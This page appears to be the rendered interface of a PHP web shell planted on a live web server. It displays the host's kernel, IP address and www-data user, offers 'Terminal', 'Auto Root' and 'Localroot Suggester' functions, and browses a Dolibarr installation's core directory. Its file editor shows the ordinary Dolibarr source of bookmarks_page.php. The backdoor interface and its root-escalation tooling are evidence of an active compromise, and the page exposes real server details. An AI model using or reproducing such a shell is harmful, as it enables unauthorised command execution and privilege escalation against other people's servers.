Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
bdc.bdcloud.fr /
core /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxr-x---
2025-11-08 11:17
boxes
[ DIR ]
drwxr-x---
2025-11-08 11:17
class
[ DIR ]
drwxr-x---
2025-11-08 11:17
data
[ DIR ]
drwxr-x---
2025-11-08 11:17
db
[ DIR ]
drwxr-x---
2025-11-08 11:17
filemanagerdol
[ DIR ]
drwxr-x---
2025-11-08 11:17
js
[ DIR ]
drwxr-x---
2025-11-08 11:17
lib
[ DIR ]
drwxr-x---
2025-11-08 11:17
login
[ DIR ]
drwxr-x---
2025-11-08 11:17
menus
[ DIR ]
drwxr-x---
2025-11-08 11:17
modules
[ DIR ]
drwxr-x---
2025-11-08 11:17
tpl
[ DIR ]
drwxr-x---
2025-11-08 11:17
triggers
[ DIR ]
drwxr-x---
2025-11-08 11:17
actions_addupdatedelete.inc.php
19.57
KB
-rwxr-x---
2023-04-04 15:51
actions_builddoc.inc.php
5.57
KB
-rwxr-x---
2023-04-04 15:51
actions_changeselectedfields.inc.php
1.57
KB
-rwxr-x---
2023-04-04 15:51
actions_comments.inc.php
2.55
KB
-rwxr-x---
2023-04-04 15:51
actions_dellink.inc.php
2.58
KB
-rwxr-x---
2023-04-04 15:51
actions_extrafields.inc.php
12.82
KB
-rwxr-x---
2023-04-04 15:51
actions_fetchobject.inc.php
1.89
KB
-rwxr-x---
2023-04-04 15:51
actions_lineupdown.inc.php
2.57
KB
-rwxr-x---
2023-04-04 15:51
actions_linkedfiles.inc.php
12.3
KB
-rwxr-x---
2023-04-04 15:51
actions_massactions.inc.php
60.59
KB
-rwxr-x---
2023-04-04 15:51
actions_printing.inc.php
3.29
KB
-rwxr-x---
2023-04-04 15:51
actions_sendmails.inc.php
19.03
KB
-rwxr-x---
2023-04-04 15:51
actions_setmoduleoptions.inc.php
5.35
KB
-rwxr-x---
2023-04-04 15:51
actions_setnotes.inc.php
3.63
KB
-rwxr-x---
2023-04-04 15:51
antispamimage.php
1.9
KB
-rwxr-x---
2023-04-04 15:51
bookmarks_page.php
6.11
KB
-rwxr-x---
2023-04-04 15:51
commonfieldsinexport.inc.php
2.01
KB
-rwxr-x---
2023-04-04 15:51
commonfieldsinimport.inc.php
2.01
KB
-rwxr-x---
2023-04-04 15:51
datepicker.php
9.51
KB
-rwxr-x---
2023-04-04 15:51
doxygen.php
1.71
KB
-rwxr-x---
2023-04-04 15:51
extrafieldsinexport.inc.php
2.88
KB
-rwxr-x---
2023-04-04 15:51
extrafieldsinimport.inc.php
2.89
KB
-rwxr-x---
2023-04-04 15:51
get_info.php
8.05
KB
-rwxr-x---
2023-04-04 15:51
get_menudiv.php
8.22
KB
-rwxr-x---
2023-04-04 15:51
multicompany_page.php
5.21
KB
-rwxr-x---
2023-04-04 15:50
photos_resize.php
23.19
KB
-rwxr-x---
2023-04-04 15:50
search.php
4.95
KB
-rwxr-x---
2023-04-04 15:50
search_page.php
4.96
KB
-rwxr-x---
2023-04-04 15:50
tools.php
1.59
KB
-rwxr-x---
2023-04-04 15:50
website.inc.php
11.85
KB
-rwxr-x---
2023-04-04 15:50
Save
Rename
<?php /* Copyright (C) 2005-2017 Laurent Destailleur <eldy@users.sourceforge.net> * * This file is a modified version of datepicker.php from phpBSM to fix some * bugs, to add new features and to dramatically increase speed. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/core/bookmarks_page.php * \brief File to return a page with the complete list of bookmarks */ //if (! defined('NOREQUIREUSER')) define('NOREQUIREUSER','1'); // Not disabled cause need to load personalized language //if (! defined('NOREQUIREDB')) define('NOREQUIREDB','1'); // Not disabled cause need to load personalized language //if (! defined('NOREQUIRESOC')) define('NOREQUIRESOC','1'); //if (! defined('NOREQUIRETRAN')) define('NOREQUIRETRAN','1'); // Not disabled cause need to do translations if (!defined('NOCSRFCHECK')) { define('NOCSRFCHECK', 1); } if (!defined('NOTOKENRENEWAL')) { define('NOTOKENRENEWAL', 1); } //if (! defined('NOLOGIN')) define('NOLOGIN',1); // Not disabled cause need to load personalized language if (!defined('NOREQUIREMENU')) { define('NOREQUIREMENU', 1); } //if (! defined('NOREQUIREHTML')) define('NOREQUIREHTML',1); require_once '../main.inc.php'; if (GETPOST('lang', 'aZ09')) { $langs->setDefaultLang(GETPOST('lang', 'aZ09')); // If language was forced on URL by the main.inc.php } $langs->loadLangs(array("bookmarks")); $right = ($langs->trans("DIRECTION") == 'rtl' ? 'left' : 'right'); $left = ($langs->trans("DIRECTION") == 'rtl' ? 'right' : 'left'); /* * View */ // Important: Following code is to avoid page request by browser and PHP CPU at each Dolibarr page access. if (empty($dolibarr_nocache) && GETPOST('cache', 'int')) { header('Cache-Control: max-age='.GETPOST('cache', 'int').', public'); // For a .php, we must set an Expires to avoid to have it forced to an expired value by the web server header('Expires: '.gmdate('D, d M Y H:i:s', dol_now('gmt') + GETPOST('cache', 'int')).' GMT'); // HTTP/1.0 header('Pragma: token=public'); } else { // HTTP/1.0 header('Cache-Control: no-cache'); } $title = $langs->trans("Bookmarks"); // URL http://mydolibarr/core/bookmarks_page?dol_use_jmobile=1 can be used for tests $head = '<!-- Bookmarks -->'."\n"; // This is used by DoliDroid to know page is a bookmark selection page $arrayofjs = array(); $arrayofcss = array(); top_htmlhead($head, $title, 0, 0, $arrayofjs, $arrayofcss); print '<body>'."\n"; print '<div>'; //print '<br>'; // Instantiate hooks of thirdparty module $hookmanager->initHooks(array('bookmarks')); // Define $bookmarks $bookmarkList = ''; $searchForm = ''; if (empty($conf->bookmark->enabled)) { $langs->load("admin"); $bookmarkList .= '<br><span class="opacitymedium">'.$langs->trans("WarningModuleNotActive", $langs->transnoentitiesnoconv("Bookmarks")).'</span>'; $bookmarkList .= '<br><br>'; } else { // Menu with list of bookmarks $sql = "SELECT rowid, title, url, target FROM ".MAIN_DB_PREFIX."bookmark"; $sql .= " WHERE (fk_user = ".((int) $user->id)." OR fk_user is NULL OR fk_user = 0)"; $sql .= " AND entity IN (".getEntity('bookmarks').")"; $sql .= " ORDER BY position"; if ($resql = $db->query($sql)) { $bookmarkList = '<div id="dropdown-bookmarks-list" class="start">'; $i = 0; while ((empty($conf->global->BOOKMARKS_SHOW_IN_MENU) || $i < $conf->global->BOOKMARKS_SHOW_IN_MENU) && $obj = $db->fetch_object($resql)) { $bookmarkList .= '<a class="dropdown-item bookmark-item'.(strpos($obj->url, 'http') === 0 ? ' bookmark-item-external' : '').'" id="bookmark-item-'.$obj->rowid.'" data-id="'.$obj->rowid.'" '.($obj->target == 1 ? ' target="_blank" rel="noopener noreferrer"' : '').' href="'.dol_escape_htmltag($obj->url).'" >'; $bookmarkList .= dol_escape_htmltag($obj->title); $bookmarkList .= '</a>'; $i++; } if ($i == 0) { $bookmarkList .= '<br><span class="opacitymedium">'.$langs->trans("NoBookmarks").'</span>'; $bookmarkList .= '<br><br>'; } $newcardbutton = ''; $newcardbutton .= dolGetButtonTitle($langs->trans('New'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/bookmarks/card.php?action=create&backtopage='.urlencode(DOL_URL_ROOT.'/bookmarks/list.php'), '', !empty($user->rights->bookmark->creer)); // Url to list bookmark $bookmarkList .= '<br>'; $bookmarkList .= '<a class="top-menu-dropdown-link" title="'.$langs->trans('Bookmarks').'" href="'.DOL_URL_ROOT.'/bookmarks/list.php" >'; $bookmarkList .= img_picto('', 'bookmark', 'class="paddingright"').$langs->trans('Bookmarks').'</a>'; $bookmarkList .= '<br>'; $bookmarkList .= '<br>'; $bookmarkList .= '<center>'.$newcardbutton.'</center>'; $bookmarkList .= '</div>'; $searchForm .= '<input name="bookmark" id="top-bookmark-search-input" class="dropdown-search-input" placeholder="'.$langs->trans('Bookmarks').'" autocomplete="off" >'; } else { dol_print_error($db); } } // Execute hook printBookmarks $parameters = array('bookmarks'=>$bookmarkList); $reshook = $hookmanager->executeHooks('printBookmarks', $parameters); // Note that $action and $object may have been modified by some hooks if (empty($reshook)) { $bookmarkList .= $hookmanager->resPrint; } else { $bookmarkList = $hookmanager->resPrint; } print "\n"; print "<!-- Begin Bookmarks list -->\n"; print '<div class="center"><div class="center" style="padding: 6px;">'; print '<style>.menu_titre { padding-top: 7px; }</style>'; print '<div id="blockvmenusearch" class="tagtable center searchpage">'."\n"; print $bookmarkList; print '</div>'."\n"; print '</div></div>'; print "\n<!-- End SearchForm -->\n"; print '</div>'; print '</body></html>'."\n"; $db->close();